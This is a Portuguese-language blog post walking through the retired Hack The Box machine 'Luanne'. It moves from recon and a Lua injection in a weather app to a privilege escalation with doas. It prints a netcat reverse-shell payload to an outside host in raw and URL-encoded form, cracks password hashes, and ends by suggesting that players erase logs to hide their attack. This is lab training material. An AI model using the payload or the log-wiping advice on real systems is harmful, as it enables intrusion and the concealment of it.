Luanne - Hack The Box - WalkThrough

Luanne - Hack The Box - WalkThrough

Esse é meu primeiro artigo, resolvi fazer a resolução da maquina LUANNE da plataforma Hack The Box, pois gostei bastante dessa box, portanto resolvi dar um review do que você vai encontrar por lá, para que você possa resolvê-la. Claro que aguardei a box ser retirada, afinal, não quero desrespeitar nenhuma regra da plataforma.

Após ligar a VM, iniciei um scan simples e barulhento com o nmap.

Não foi fornecido texto alternativo para esta imagem

Como podemos ver na porta padrão “80”, está vazando um “title” do arquivo 'robots.txt' com um diretório escondido “/weather”, analise comigo abaixo:

Não foi fornecido texto alternativo para esta imagem

Perceba que o mesmo está sem permissão retornando um 401 “Unauthorized”. Então faço um brute-force na busca de novos diretórios e arquivos dentro deste, afinal, quem sabe não encontramos algo que temos permissão, não é mesmo?

Não foi fornecido texto alternativo para esta imagem

Perfeito, encontramos um outro diretório com status code 200, ou seja, funcionando. Ao acessar o mesmo, recebemos uma aplicação com uma mensagem interessante.

Não foi fornecido texto alternativo para esta imagem

traduzindo: Nenhuma cidade especificada, Use “city=list” para listar possíveis cidades.

Após especificar como a aplicação pede, recebemos isto:

Não foi fornecido texto alternativo para esta imagem

Legal, conseguimos listar as cidades, e isso é muito interessante, pois estamos interagindo diretamente com a aplicação, isso não é o máximo? Eu gosto de pensar da seguinte forma;

Se estamos interagindo diretamente com a aplicação, será possível explorar um RCE(Código de Execução Remoto) através de uma reverse shell? Possívelmente.

Vamos brincar um pouco mais pra tentar entender a aplicação. já que listamos as cidades, o que acontece se especificarmos uma cidade? escolhi a “London”.

Não foi fornecido texto alternativo para esta imagem

Conseguimos brincar e ver informações expostas sobre as cidades, informações como temperatura min e max, velocidade do vento, pressão, data, etc.

Agora, precisamos voltar ao scan inicial, e reunir algumas informações importantes que talvez deixamos passar, ou não, pois precisamos montar um quebra cabeça pra pensar em formas de comprometer este sistema.

Temos um serviço rodando na porta 9001 no qual não temos autorização, um aplicação rodando no diretório /Weather, e um sistema operacional NETBSD.

Durante minhas pesquisas, eu quis entender um pouco a diferença sobre o NETBSD, OPENBSD e FREEBSD.

O legal do Hack The Box é que ele te coloca pra estudar, afinal, o objetivo da plataforma não é só o desafio, mas te ensinar. Segue um artigo a respeito:


Legal, temos um sistema incrível para interagir e uma aplicação rodando, então. que tal tentarmos uma reverse shell agora?

Abro um comando: os.execute(“”)

Ou seja, quero interagir com o sistema.

E copio uma shell reversa com netcat específica para sistema OPENBSD com NETCAT que pode ser encontrado no seguinte repo:

Altero o IP do meu código e a porta padrão, para que tente se conectar a mim através da porta 444.

O nosso comando para shell reversa ficou exatamente assim:

');os.execute("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.252 444 >/tmp/f")--

Entretando, precisamos encodar este comando para esconder alguns caracteres e acabar com os espaços presentes, ficando exatamente assim:

%27%29%3Bos.execute%28%22rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.14.252%20444%20%3E%2Ftmp%2Ff%22%29--

Lindo não? Coloco minha maquina para escutar a porta 444, insiro o código encodado na url e o servidor nos dá o acesso que precisamos.

Não foi fornecido texto alternativo para esta imagem

Dentro do servidor, começo um reconhecimento, em /home/ encontramos um usuário chamado r.michaels, porém, quando tento acessar o diretório, não tenho permissão, e isso é muito estranho.

Não foi fornecido texto alternativo para esta imagem


Ao explorar a pasta do servidor localizada em /var/www/ encontramos um arquivo oculto bem sugestivo chamado .htpasswd

Não foi fornecido texto alternativo para esta imagem

Interessante, temos uma hash de usuário, então utilizo nosso 'John' para fazer um bruteforce na hash indicando ao mesmo uma wordlist muito comum chamada 'rockyou.txt'.

E agora temos a PASSWORD:

Não foi fornecido texto alternativo para esta imagem


Assim que consegui a senha, a primeira coisa que tentei foi logar no usuário r.michaels, mas sem sucesso, esse 'webapi' não fazia sentido pra mim, mesmo sendo um nome sugestivo, sem opções, decidi listar os serviços que estavam rodando no momento.

Não foi fornecido texto alternativo para esta imagem

UALL.

Como podemos ver, temos algumas coisas em modo 'Listen':

Porta 22 SSH que é padrão, mas não temos a chave para logar;

Porta 9001, mas não temos autorização;

Porta 80, padrão HTTP;

Porta 3001 e 3000 rodando em nosso servidor localmente, possivelmente onde está rodando nossa webapi. Com essas informações úteis decidi buscar arquivos existente dentro do user r.michaels, busquei a flag que geralmente fica em um arquivo padrão chamado: 'user.txt'; mas como nada foi encontrado busquei o 'id_rsa' também pois temos um serviço de ssh rodando.

E.. Voilà.

Não foi fornecido texto alternativo para esta imagem

Recebemos uma chave privada, agora basta salvar na nossa maquina, dar a permissão necessária ao arquivo id_rsa e logar no usuário r.michaels.

Não foi fornecido texto alternativo para esta imagem

Temos agora o usuário r.michaels com hostname LUANNE, o olho chega a brilhar. Lendo o arquivo user.txt, ganhamos a nossa flag de usuário, mas ainda precisamos escalar privilégio para a flag root de administrador.

Lendo o arquivo encontrado na pasta /backups, temos algo que me chamou atenção, um encrypt com 'devel.tar.gz.enc', e eu nunca tinha me deparado com isso.

O encrypt .tar.gz nós conhecemos, mas esse .enc, eu não conhecia, então fui pesquisar a respeito.

E obrigado Hack the Box mais uma vez pelo conhecimento adquirido, vamos descriptografar e converter este '.enc' em '.tar.gz'. Porém, temos um adendo, não temos permissão de fazer isso na pasta atual, mas existe uma pasta que todo usuário tem permissão de escrita, a /tmp/ . Temos também um contrab com um time que remove tudo dentro desta pasta em segundos, precisamos fazer tudo o mais rápido possível.

Não foi fornecido texto alternativo para esta imagem
Não foi fornecido texto alternativo para esta imagem

Encontramos outra hash de usuário, tudo que precisamos para escalar privilégio. Então, uso o John novamente para quebrar a senha.

Não foi fornecido texto alternativo para esta imagem

Perfeito, temos nossa senha, agora basta logar com usuário sudo e teremos nossa última flag, certo? Errado!

Isso também me surpreendeu, o comando 'sudo' simplismente não existe neste sistema!

Não foi fornecido texto alternativo para esta imagem

Isso me rendeu mais uma pesquisa, e lá vou eu, ler a documentação do sistema, e descobrir que pra nossa sorte, existe um comando chamado 'doas'.

doas seu lindo, vem aqui pro papai!

o comando 'doas' vai nos ajudar, específico do sistema NetBSD é uma alternativa ao comando 'sudo', ele permite que você execute comandos como se fosse outro usuário do sistema.

Então, vamos lá;

Não foi fornecido texto alternativo para esta imagem

Utilizo nossa senha 'littlebear', e taram, temos acesso a root, e em /root/ podemos encontrar nossa flag de root.txt.

Dica: muitos players param de jogar aqui, após pontuar na plataforma com a flag de root. Eu penso que é um ótimo cenário pra se aproveitar, e apagar ou substituir todos os logs gerados do seu ataque ao sistema antes de sair, afinal, é isso que um bom hacker faria, então, deixo isso no ar pra vocês.

Sou muito agradecido ao criador desta box, foi uma experiência incrível.

#HappyHacking

Entre para ver ou adicionar um comentário

Outros artigos de Michael Silva

  • ALERTA DE GOLPE DOS CORREIOS?

    ALERTA DE GOLPE DOS CORREIOS?

    O GOLPE Você recebe um SMS 4 dias após sua compra no mercado livre que gerou uma entrega nos correios: A mensagem vem…

    1 comentário
  • CUIDADO COM AS COMPRAS ONLINE! ESSE GOLPE CONTINUA APARECENDO!

    CUIDADO COM AS COMPRAS ONLINE! ESSE GOLPE CONTINUA APARECENDO!

    Eu por aqui novamente, parece que eu atraio golpes, só pode! Há uns dias atrás estava buscando por um guarda roupa no…

    1 comentário
  • Instalou o THREADS? Se lascou! Cadê minha privacidade?

    Instalou o THREADS? Se lascou! Cadê minha privacidade?

    E aí gente, quanto tempo não faço um artigo por aqui, não é mesmo? Seguinte, o threads é a nova rede social vinculada…

  • Bypass no CHATGPT

    Bypass no CHATGPT

    A inteligência artificial chatgpt se tornou uma grande novidade pra gente e todo pentester como eu adora testar…

  • VAI QUERER A SEGUNDA VIA DA NOTA FISCAL?

    VAI QUERER A SEGUNDA VIA DA NOTA FISCAL?

    Quem nunca negou? A preguiça de aguardar ou a pressa de sair do estabelecimento é tão grande, estamos sempre correndo…

    1 comentário
  • GOLPE DE "UBER" NO AEROPORTO DE GUARULHO - SP

    GOLPE DE "UBER" NO AEROPORTO DE GUARULHO - SP

    Este é um golpe frequente que poucas pessoas ainda conhecem! Imagine o seguinte cenário: você está saindo do aeroporto…

  • PENETRATION TESTING AND ETHICAL HACKING (Teste De Penetração e Hacking Ético)

    PENETRATION TESTING AND ETHICAL HACKING (Teste De Penetração e Hacking Ético)

    Conhecido como PENETRATION TESTING, ou teste de penetração, é a profissão onde atuam os hackers. O Termo "hacker" ou…

    1 comentário
  • FUZZING ALTERNATIVO

    FUZZING ALTERNATIVO

    Recentemente em um Pentest real, me deparei com o seguinte cenário, eu precisava validar uma lista de diretórios de uma…

    5 comentários

Outras pessoas também visualizaram

Conferir tópicos